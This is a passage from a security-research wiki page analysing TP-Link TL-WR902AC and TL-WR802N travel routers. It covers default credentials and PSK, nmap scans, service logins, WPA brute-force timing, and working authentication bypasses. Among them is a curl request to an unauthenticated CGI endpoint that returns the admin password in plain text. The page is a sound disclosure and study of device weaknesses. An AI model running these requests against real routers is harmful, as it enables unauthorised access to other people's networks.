<td style="background-color: white; border-color: black">DRAM: 64MB (16bit)</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Storage</td>
<td style="background-color: white; border-color: black">Boot from: SPI Flash GD25Q64B</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Ethernet MAC</td>
<td style="background-color: white; border-color: black">98:DA:C4:6E:00:FC</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN MAC</td>
<td style="background-color: white; border-color: black">2.4GHz: 98:da:c4:6e:00:fc, 5GHz: 98:da:c4:6e:00:fd</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN SSID</td>
<td style="background-color: white; border-color: black">2.4Ghz: TP-Link_00FC; 5Ghz: TP-Link_00FC_5G; TP-Link_Guest_00FC</td>
<td style="background-color: white; border-color: black">2.4Ghz: TP-Link_C3AE</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">WLAN PSK</td>
<td style="background-color: white; border-color: black">37490720</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Default IPv4</td>
<td style="background-color: white; border-color: black">WLAN: 192.168.1.1</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Hostname</td>
<td style="background-color: white; border-color: black">TL-WR902AC</td>
<td style="background-color: white; border-color: black">TL-WR802N</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">NET Protocols</td>
<td style="background-color: white; border-color: black">SSH, FTP, HTTP, SMB, uPnP</td>
<td style="background-color: white; border-color: black">SSH, HTTP, uPnP</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Interfaces</td>
<td style="background-color: white; border-color: black">ttyS1: console, eth0|eth0.2|eth0.3|eth0.4|eth0.5|eth0.6|br0, ra0|rai0: WLAN</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Ports</td>
<td style="background-color: white; border-color: black">21/tcp ftp, 22/tcp ssh, 80/tcp http, 139/tcp smbd, 445/tcp smbd, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?, 40955/tcp upnp</td>
<td style="background-color: white; border-color: black">22/tcp ssh, 53/tcp dnsmasq, 80/tcp http, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Webpage</td>
<td style="background-color: white; border-color: black">http://tplink.net</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Webaccess</td>
<td style="background-color: white; border-color: black">admin:admin (Default)</td>
<td style="background-color: white; border-color: black">admin:admin (Default)</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Root Password</td>
<td style="background-color: whitesmoke; border-color: black">N/A</td>
<td style="background-color: whitesmoke; border-color: black">N/A</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Other Login Pw</td>
<td style="background-color: white; border-color: black">admin:admin (Default)</td>
<td style="background-color: white; border-color: black">admin:admin (Default)</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr style="border-width: 2px 2px 0 2px">
<td style="background-color: darkgrey; border-color: black">Firmware</td>
<td style="background-color: white; border-color: black">0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)</td>
<td style="background-color: white; border-color: black">0.9.1 3.17 v0001.0 Build 190428 Rel.63523n</td>
</tr>
<tr style="border-width: 0 2px 2px 2px">
<td style="background-color: darkgrey; border-color: black">Hardware</td>
<td style="background-color: white; border-color: black">TL-WR902AC(EU) V3</td>
<td style="background-color: white; border-color: black">TL-WR802N(EU) V4</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr style="border-width: 2px 2px 0 2px">
<td style="background-color: darkgrey; border-color: black">Baudrate</td>
<td style="background-color: white; border-color: black">115200 (8N1) -> 7N1 for UBoot but also works for linux, but no input</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">Bootdelay</td>
<td style="background-color: lightgrey;border-color: black">N/A</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">Bootloader</td>
<td style="background-color: white; border-color: black">U-Boot 1.1.3 || Ralink UBoot Version: 4.3.0.0</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">mtdparts</td>
<td style="background-color: white; border-color: black">dev: size erasesize name<br>
mtd0: 00020000 00010000 "boot"<br>
mtd1: 00140000 00010000 "kernel"<br>
mtd2: 00660000 00010000 "rootfs"<br>
mtd3: 00010000 00010000 "config"<br>
mtd4: 00010000 00010000 "romfile"<br>
mtd5: 00010000 00010000 "rom"<br>
mtd6: 00010000 00010000 "radio"</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">Filesystem</td>
<td style="background-color: white; border-color: black">squashfs, fuse</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">Image</td>
<td style="background-color: white; border-color: black">TD-W8968</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">Linux</td>
<td style="background-color: white; border-color: black">2.6.36</td>
<td style="background-color: white; border-color: black">2.6.36</td>
</tr>
<tr style="border-width: 0 2px 2px 2px">
<td style="background-color: darkgrey; border-color: black">Kernel cmdline</td>
<td style="background-color: white; border-color: black">console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr style="border-width: 2px 2px 0 2px">
<td style="background-color: darkgrey; border-color: black">Shell</td>
<td style="background-color: white; border-color: black">sh, ash</td>
<td style="background-color: white; border-color: black">sh, ash</td>
</tr>
<tr style="border-width: 0 2px">
<td style="background-color: darkgrey; border-color: black">BusyBox</td>
<td style="background-color: white; border-color: black">v1.19.2 (2017) multi-call binary</td>
<td style="background-color: white; border-color: black"></td>
</tr>
<tr style="border-width: 0 2px 2px 2px">
<td style="background-color: darkgrey; border-color: black">Services</td>
<td style="background-color: white; border-color: black">vsftpd; sshd; http; smbd; uPnP, VLAN, IPv6</td>
<td style="background-color: white; border-color: black"></td>
</tr>
</table>
</div>
</div>

<h2>Wireless Security</h2>
<div style="text-align: justify">In order to process with the next chapters, access to the LAN of the router is required. Since it isn't mandatory to change the Pre-Shared Key (PSK) nor the Service Set Identifier (SSID) (TP-Link_XXXX) during setup, I assume, that most general users leave its defaults. Leaving the device almost unsecured with an 8 digit ([0-9]{8}) PSK. The default PSK can be easily aquired using a [https://wiki.elvis.science/index.php?title=WPA/WPA2_PSK_deauthentication_attack deauthentication attack]. Using an Intel i9-9980HK CPU with Aircrack-ng 1.6 on macOS 10.15 takes worst-case 78 minutes with 21177k/s. Using a more powerful setup with modern GPUs in combination with hashcat would drastically decrease the time brute-forcing. Leading to a attractive attack vector, even for a mobile device that doesn't stay in the same physical location for a long time.</div>

<h2>Network Mapper</h2>
<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: AC750 Wifi - Travel Router</div>
<div class="mw-collapsible-content">
<hr style="border-color: whitesmoke">
<b>Local Area Network</b>
<span style="font-size: 11px">
<nowiki style="margin: 0">PORT STATE SERVICE VERSION

</nowiki><b>21</b><nowiki>/tcp open ftp vsftpd 2.0.8 or later
|_ftp-anon: got code 500 "OOPS: no entry found!".

</nowiki><b>22</b><nowiki>/tcp open ssh Dropbear sshd 2012.55 (protocol 2.0)
| ssh-hostkey:
| 1024 ff:29:95:59:3a:2e:18:cd:13:7b:4f:c9:df:0f:a9:4f (DSA)
|_ 1040 54:af:2a:2a:03:ae:a1:f2:c6:1c:a1:2f:85:a6:fe:1b (RSA)

</nowiki><b>80</b><nowiki>/tcp open http TP-LINK TD-W8968 http </nowiki><b>admin</b><nowiki>
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

</nowiki><b>139</b><nowiki>/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
</nowiki><b>445</b><nowiki>/tcp open netbios-ssn Samba smbd 3.0.14a (workgroup: WORKGROUP)
</nowiki><b>1900</b><nowiki>/tcp open upnp Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)
</nowiki><b>1900</b><nowiki>/udp open wscd: SSDP Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)
</nowiki><b>20002</b><nowiki>/udp open httpd? UPD hello messages.
</nowiki><b>40955</b><nowiki>/tcp open upnp Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)

Service Info: Host: TP-Link; OS: Linux; Device: WAP; CPE: cpe:/o:linux:linux_kernel, cpe:/h:tp-link:td-w8968, cpe:/o:linux:linux_kernel:2.6.36

Host script results:
|_clock-skew: mean: -18432d18h23m26s, deviation: 0s, median: -18432d18h23m26s
| smb-os-discovery:
| OS: Unix (Samba 3.0.14a)
| NetBIOS computer name:
| Workgroup: WORKGROUP\x00
|_ System time: 1970-01-01T00:03:48+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: share (dangerous)
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)</nowiki>
</span>

<b>Wide Area Network (WAN)</b>
<span style="font-size: 11px">
<nowiki>Host is up.</nowiki>
</span>

</div>
</div>
<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR802N</b>: 300Mbps Wireless N - Nano Router</div>
<div class="mw-collapsible-content">
<hr style="border-color: whitesmoke">
<b>Local Area Network</b>
<span style="font-size: 11px">
<nowiki style="margin: 0">PORT STATE SERVICE VERSION

</nowiki><b>22</b><nowiki>/tcp open ssh Dropbear sshd 2012.55 (protocol 2.0)
| ssh-hostkey:
| 1024 c5:2f:17:05:d0:da:57:ea:16:d8:4c:c3:14:a6:b3:c9 (DSA)
|_ 1039 6c:06:ba:de:54:2d:05:02:f9:79:a6:79:2e:64:9f:96 (RSA)

</nowiki><b>53</b><nowiki>/tcp open domain dnsmasq 2.78
| dns-nsid:
| NSID: viezcnsat10 (7669657a636e7361743130)
| id.server: viezcnsat10
|_ bind.version: dnsmasq-2.78

</nowiki><b>80</b><nowiki>/tcp open http
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Content-Type: text/html; charset=utf-8
| Content-Length: 16113
| Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
| Connection: keep-alive
| HTTPOptions, RTSPRequest:
| HTTP/1.1 405 Method Not Allowed
| Content-Type: text/html; charset=utf-8
| Content-Length: 124
| Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
|_ Connection: close
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

</nowiki><b>1900</b><nowiki>/tcp open upnp Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:2.6.36</nowiki>
</span>

<b>Wide Area Network (WAN)</b>
<span style="font-size: 11px">
<nowiki>Host is up.</nowiki>
</span>

</div>
</div>

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Spoiler</b>: The username and password are shared between http, ftp, ssh and smb services. It is set via Web interface and stored in the passwd file. The default credentials are <code>admin:admin</code>.</div>

<h3>Secure shell (SSH)</h3>

<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: AC750 Wifi - Travel Router</div>
<div class="mw-collapsible-content">
<nowiki></nowiki><b>TL-WR802N$ ssh admin@192.168.0.1</b><nowiki>
admin@192.168.0.1's password: </nowiki><b>admin</b><nowiki>
PTY allocation request failed on channel 0
shell request failed on channel 0

</nowiki><b>TL-WR802N$ scp admin@192.168.0.1:/etc/passwd ./tmp/</b><nowiki>
admin@192.168.0.1's password: </nowiki><b>admin</b><nowiki>
exec request failed on channel 0</nowiki>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>PTY allocation request failed</code> indicated that the login was successful, but the devices provides no interctive shell. This can be seen using the <code>-vvv</code> debugging mode with <code>ssh</code>.</div>

<p style="text-align: justify">To help customers manage and configure the TP-Link device better, some TP-Link apps are published for mobile devices, such as Tether 2.0 app, Deco app, Tapo app, and tpCamera app, etc. The TP-Link app adopts SSH service, so the products that can use the app also support SSH correspondingly. And TCP port 22 as the default port of SSH Service is set to be opened. However, SSH Services on the TP-Link products are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. So please rest assured that the SSH will never cause any safety issues on your device.</p>
<p style="text-align: justify"><b>Source</b>: [[https://www.tp-link.com/us/support/faq/2462/ Support]]</p>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: While the dropbear package provides SCP functionality, it does not contain anything for SFTP.</div>

</div>
</div>

<h3>File Transfer Protocol (FTP)</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC</b>: AC750 Wifi - Travel Router</div>
<div class="mw-collapsible-content">
<nowiki></nowiki><b>TL-WR802N$ ftp 192.168.1.1 21</b><nowiki>
Connected to 192.168.1.1.
220 Welcome to TP-Link FTP server
Name (192.168.1.1): </nowiki><b>admin</b><nowiki>
331 Please specify the password.
Password: </nowiki><b>admin</b><nowiki>
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> pwd
257 "/"

ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.

ftp></nowiki>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The FTP server maps to USB Volumes which can be configured on the webpage. The default FTP root is therefore empty.</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: FTP ends up in an empty root directory using the credentials <code>admin:admin</code>.</div>

</div>
</div>

<h3>Server Message Block (SMB)</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Note</b>: Ongoing Investigation</div>
<div class="mw-collapsible-content">

<nowiki></nowiki><b>TL-WR802N$ smbclient -L 192.168.1.1 -U admin</b><nowiki>
Unable to initialize messaging context
Enter WORKGROUP\admin's password:
Server requested LANMAN password (share-level security) but 'client lanman auth = no' or 'client ntlmv2 auth = yes'
tree connect failed: NT_STATUS_ACCESS_DENIED</nowiki>
<span class="todo" style="font-size: 50px; line-height: 30px; padding-left: 10px">⚒</span>

</div>
</div>

<h3>Universal Plug and Play (UPnP)</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Note</b>: Ongoing Investigation</div>
<div class="mw-collapsible-content">

<div style="text-align: justify">* https://coolaj86.com/articles/adventures-in-upnp-on-osx/<br>
<span class="todo" style="font-size: 50px; line-height: 30px; padding-left: 10px">⚒</span></div>

</div>
</div>

<h3>TP-Link Device Debug Protocol (TDDP)</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Note</b>: Ongoing Investigation</div>
<div class="mw-collapsible-content">

<div style="text-align: justify">The TP-Link Device Debug Protocol (TDDP) is in use across most of the TP-Link product line including routers and access points.<br>
* https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/
* https://hackaday.com/2016/12/14/tp-link-debug-protocol-give-up-keys-to-kingdom/
* https://github.com/P0lako/tl-wa5210gV2_Downgrade
* https://www.zdnet.com/article/google-dev-discloses-zero-day-flaw-in-tp-link-smart-home-routers/
Such downgrade would be the only interesting attack in combination with all these vulnerability issues in FWv1
<span class="todo" style="font-size: 50px; line-height: 30px; padding-left: 10px">⚒</span></div>

</div>
</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Requires in-depth investigation!</div>

<h2>Web Interface</h2>
<div style="text-align: justify; margin-bottom: 10px">The device can be managed through a web interface or via mobile APP. The web interface is accessible over HTTP an requires authorization to access. The device provides an initial setup process, where a user could change credentails and WLAN passwords from its defaults, but doesn't enforce any changes. TP-Link use a custom http daemon including an CGI interface.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Webpage provides no encrypted connection.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: No responsive design and almost useless on the phone, mobile users "should" use the mobile app.</div>

<h3>Authentication Bypass</h3>

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Warning</b>: The user name and password can be changed.<br> Both must not exceed 15 characters in length and must not include any spaces. 32 characters on the newer firmware.</div>

<h4>Using Cookies</h4>

<div style="text-align: justify">The login process at the TP-WR902AC with the FW version 170828 is quite primitive. The function <code>PCSubWin()</code> is called by clicking the login button. This function does not communicate directly with the server, but creates an Authorization Cookie based on the content of the Username and Password field. The cookie is a Basic HTTP authentication, where <code>username:password</code> Base64 is encoded and stored as a cookie. (Example: <code>Authorization=Basic YWRtaW46YWRtaW4=</code> Afterwards the page is reloaded. If the authentication is successful, you will be transferred to the user interface. Otherwise the faulty cookie will be removed and the login page will be reloaded.</div>

<syntaxhighlight lang="JavaScript">var auth;
var password = "admin"; //$.id("pcPassword").value;
var userName = "admin"; //$.id("userName").value;

auth = "Basic "+Base64Encoding(userName+":"+password);
document.cookie = "Authorization=" + auth;
window.location.reload();</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Login limited to 10 attempts</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 10px; text-align: justify"><b>Note</b>: The router allows only one administrator to login at the same time</div>

[[File:TL-WR902ACLogin_Wireshark_MitM_Auth_Cookie.png|300px|right|thumb|TL-WR902AC: Wireshark Auth Cookie]]

<div style="text-align: justify">This Authorization Cookie is transferred on every interaction with the server. Since the website does not offer a secure connection via HTTPS, it is very easy to intercept it by a MitM attack and finally decode Base64. This gives access to FTP, SSH and HTTP services due to the shared login. However, this requires a user who is currently active in the web interface. It should be noted that some web pages like the index page additionally reload the web page content (<code>/main/status.html?_=$TIMESTAMP</code>) every 20 seconds and thus retransmit the cookie.</div>

<nowiki></nowiki><b>$ echo YWRtaW46YWRtaW4= | base64 --decode</b><nowiki>
admin:admin</nowiki>

<h4>Using Session hijacking</h4>

<div style="text-align: justify">The TP-WR802N with the new FW version 190428 doesn't use Authorisation Cookies anymore. It uses <code>JSESSIONID</code> cookies as well as AES encrypted payload instead. But still supports HTTP only, which makes it still possible to easily hijack the ongoing session, but prevents to leak the credentials. It is very interesting to notice is that the Server send all necessary parameters to generate the AES encryption key in response to an unauthorized CGI call (<code>$.act(ACT_CGI, "/cgi/getParm"); $.exe(null,false,0);</code>), which can be re-called at any point of time. Note that <code>nn</code> changes on reboot and <code>seq</code> on every request.</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; margin-top: 20px; text-align: justify"><b>Note</b>: The Results of CGI calls are automatically parsed and accessable using JavaScript after executing <code>$.exe()</code>. Example: <code>$.ret</code></div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>TL-WR802N</b>: Login process</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">$.act(ACT_CGI, "/cgi/getParm");
$.exe(null,false,0);

# Request Parameters
# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0

# Example Response
# lib.js:396 XHR finished loading: POST "http://192.168.1.1/cgi?8"
# [cgi]0
# var ee="010001";
# var nn="BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94" +
# "62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB" +
# "DAB24BE0443A2B25";
# var seq="812508797";
# $.ret=0;
# [error]0

$.nn = nn;
$.ee = ee;
$.seq = seq;

$.Iencryptor.setSeq($.seq);
$.Iencryptor.setRSAKey($.nn, $.ee);
$.Iencryptor.setHash(userName, password);
$.Iencryptor.genAESKey();

var credentials = {};
credentials.username = "admin"; //$.id("pcPassword").value;
credentials.password = "admin"; //$.id("userName").value;

$.act(ACT_CGI, "/cgi/login", null, null, credentials);

$.newencryptorManager.recordEncryptor();

if(!$.exe(null, false, 1)) {
window.location.reload();
} </syntaxhighlight>

</div>
</div>

<h4>Using unauthenticated CGI calls</h4>
<div style="text-align: justify;">As if that wasn't enough, it is even possible to retrieve the Admin Credentials in plain text. This is possible without authentication and can be done at any time. All that is needed is a call to the corresponding [[#Common Gateway Interface|Common Gateway Interface]] (CGI) object via JavaScript injection.</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Get All User Information</b></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">$.act(ACT_GET, USER_CFG); $.act(ACT_GET, CURRENT_USER); $.exe();

[0,0,0,0,0,0]0
rootName=
rootPwd=
adminName=admin
adminPwd=admin
userName=
userPwd=

[0,0,0,0,0,0]1
userName=
passwd=
httpSession=
userSetting=0
action=0
loginStatus=0
userRole=3
logInCloud=0
needReconn=0
[error]0</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>Get admin username and password</b></div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">
$.act(ACT_GET, USER_CFG, null, null, ["adminName", "adminPwd"]); $.exe();
// Or, by using cURL for once
// curl -X POST "http://192.168.1.1/cgi?1" -H "Referer: http://192.168.1.1" -d $'[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nadminName\r\nadminPwd\r\n'

[0,0,0,0,0,0]0
adminName=admin
adminPwd=admin
[error]0</syntaxhighlight>

</div>
</div>

<h3>Common Gateway Interface</h3>

<div style="text-align: justify;">The devices examined here use a CGI over http on port 80, which are evaluated by the TP-Link https daemon. The mobile app uses SSH over port 22 instead. When working with the CGI it is of great use to use the predefined functions <code>$.act()</code> and <code>$.exe()</code> via the browser console. These functions are part of the <code>lib.js</code> and then take care of converting the request into a format that is accepted by the server, and subsequently submit the request via AJAX using the <code>$.io()</code> function. Using these functions is much more convenient, than imitating the format itself. The <code>$.act(type, oid, stack, pStack, attrs)</code> function has 2 mandatory fields. The <code>type</code> of the request and an object identifier (<code>oid</code>). Several requests can be pushed to the stack using <code>$.act()</code> and then be queried together in one request using <code>$.exe()</code>. The <code>type</code> is added to the URL (<code>/cgi?1&2&3</code>) as a numeric GET parameter. The <code>oid</code> is added as a string in a parameter, in the form <code>[oid,0,0,0,0]0,0</code>, to the payload. The remaining fields are not explained in detail. If attributes (<code>attr</code>) are also sent, they are appended after the parameter of the payload. Several attributes will be transferred according to the number of added <code>type</code>. A list of available types and OIDs and a shortened form of the <code>lib.js</code> is listed below in the Client-side CGI Insights tab. When analyzing the website, countless examples of using the mentioned functions can be found. Anyhow, the <code>lib.js</code> and <code>oid_str.js</code> are of great interest.</div>

<syntaxhighlight lang="JavaScript">// Example Format
URL: http://192.168.1.1/cgi?5&1&1
Payload:
[oid,0,0,0,0,0,0]0,0
[oid,0,0,0,0,0,0,0]0,count(attr)
attr[1]
attr[2]
attr[3]
[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0,0]0,2
adminName
adminPwd</syntaxhighlight>

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Warning</b>: If not using a modified $.io() function logging results to the console or similar, the responses must be found in the browsers network tab or Wireshark, depending on the setup.</div>

<b>Client-side CGI Insights</b>

<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR902AC FW170828</b></div>
<div class="mw-collapsible-content">
<div style="font-size: 13px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="line-height:1.6;">ⓘ Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript"># lib_modified.js
(function(){
var window = this,

window.$ = {

cgi: function(path, arg, hook, noquit, unerr) {
var expr = /(^|\/)(\w+)\.htm$/;
if ($.local || $.sim) path = $.params;
else path = (path ? path : $.curPage.replace(/\.htm$/, ".cgi")) + (arg ? "?" + $.toStr(arg, "=", "&") : "");
$.ret = 0;
var func = hook ? function(ret) {if (!ret && (ret = $.ret)) $.err("cgi", $.ret, unerr); if (typeof hook === "function") hook(ret);} : null;
var ret = $.io(path, true, func, null, noquit, unerr);

if (!ret && (ret = $.ret))
$.err("cgi", $.ret, unerr);
return ret;
},

act: function(type, oid, stack, pStack, attrs) {

stack = stack ? stack : "0,0,0,0,0,0";
pStack = pStack ? pStack : "0,0,0,0,0,0";
attrs = $.toStr(attrs, "=", "\r\n", true);
attrs = attrs.replace(/__stack=[0-9,]*\r\n/, "");

var ret = null;

switch (type) {
case ACT_ADD:
if ($.cn) attrs = $.ansi(attrs);
case ACT_GET:
ret = {};
break;
case ACT_GL:
case ACT_GS:
ret = [];
break;
case ACT_SET:
case ACT_CGI:
oid = oid ? oid : $.curPage.replace(/\.htm$/, ".cgi");
if ($.cn) attrs = $.ansi(attrs);
case ACT_DEL:
case ACT_OP:
break;
default:
return false;
}

$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);
$.ds.push(ret);

return ret;
},

exe: function(hook, unerr) {

var url = "/cgi?";
var data = "";
var index = 0;
var obj;
var bAnsi = false;

if ($.as.length == 0 || $.local || $.sim) {
if (hook && typeof hook === "function") $.timeout(hook, 200);
while($.as.pop() !== undefined);
while($.ds.pop() !== undefined);
return 0;
}

$.empty($.id("ansiform"));
while ($.ansiarg.length) {
obj = $.ansiarg.shift();
$.append($.id("ansiform"), "<input type='hidden' name='"+obj[0]+"' value='"+obj[1].replace(/\&/g, "&").replace(/</g, "<").replace(/'/g, "'")+"' />");
bAnsi = true;
}

while(obj = $.as.shift()){
url += obj[0] + (obj[1] ? "=" + obj[1] : "") + "&";
data += "[" + obj[2] + "#" + obj[3] + "#" + obj[4] + "]" + index + ", " + obj[6] + "\r\n" + obj[5];
index++;
}
url = url.substr(0, url.length - 1);

if (hook) {
var tmpds = $.mkArr($.ds);
while($.ds.length) $.ds.pop();
}

var resolve = function(ret, ds) {
if (typeof ret !== "number") {
var lines = ret.split('\n');
ret = 0;
$.ret = 0;
var scripts = "";

for (var i = 0, l = lines.length; i < l; i++) {
if (lines[i] == "") continue;
if (lines[i].charAt(0) == "[") {
if (scripts != "") {
$.script(scripts);
if ($.ret) {
ret = $.ret;
$.err("cgi", ret, unerr);
break;
}
scripts = "";
}
var n = lines[i].indexOf("]");
var j = parseInt(lines[i].substr(n+1), 10);
var stack = lines[i].substr(1, n-1);
var instance;
if (stack == "error") {
if (j) {
ret = j;
if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err("exe", ret, unerr);
break;
}
}
else if (ds[j] instanceof Array) {
instance = {__stack: stack};
ds[j].push(instance);
}
else if (ds[j] != null) {
